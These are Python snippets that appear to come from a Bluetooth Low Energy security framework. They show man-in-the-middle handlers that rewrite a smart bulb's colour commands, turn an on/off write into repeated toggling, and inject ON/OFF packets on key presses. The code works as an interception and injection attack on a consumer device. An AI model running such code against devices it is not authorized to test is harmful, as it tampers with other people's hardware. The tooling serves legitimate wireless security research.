def onMasterWriteRequest(self, packet): # Changing RGB values if packet.handle == 0x21 and b"\x55\x13" in packet.value: print(packet) value = (packet.value[0:2] + bytes( [packet.value[4], packet.value[2], packet.value[3]]) + b"\r\n") io.info("Changing RGB values ...") self.a2sEmitter.sendp( ble.BLEWriteRequest(handle=packet.handle, value=value)) return False # Changing on/off packets elif packet.handle == 0x21 and b"\x55\x10\x01\x0d\x0a" == packet.value: for _ in range(3): io.info("Day !") self.a2sEmitter.sendp( ble.BLEWriteCommand(handle=packet.handle, value=b"\x55\x10\x01\x0d\x0a")) utils.wait(seconds=1) io.info("Night !") self.a2sEmitter.sendp( ble.BLEWriteCommand(handle=packet.handle, value=b"\x55\x10\x00\x0d\x0a")) utils.wait(seconds=1) return True
def onKey(self, key): # if the key is 'up arrow' ... if key == "up": # inject a ON packet self.emitter.send( ble.BLEWriteCommand(handle=0x0021, value=b"\x55\x10\x01\x0d\x0a")) # if the key is 'down arrow' ... elif key == "down": # inject a OFF packet self.emitter.send( ble.BLEWriteCommand(handle=0x0021, value=b"\x55\x10\x00\x0d\x0a"))
def writeCommand(self, packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Write Command (from master) : handle = " + hex(packet.handle) + " / value = " + packet.value.hex()) io.info("Redirecting to slave ...") self.a2sEmitter.sendp( ble.BLEWriteCommand(handle=packet.handle, value=packet.value))
def write_cmd(self,handle,value): if self.receiver.isConnected(): if utils.isHexadecimal(handle) and utils.isHexadecimal(value): self.emitter.sendp(ble.BLEWriteCommand(handle = int(handle,16),value=bytes.fromhex(value))) io.success("Write Command : handle = "+handle+" / value = "+value) else: io.fail("Handle or value is not correctly formatted (hexadecimal) !") else: io.fail("No active connections !")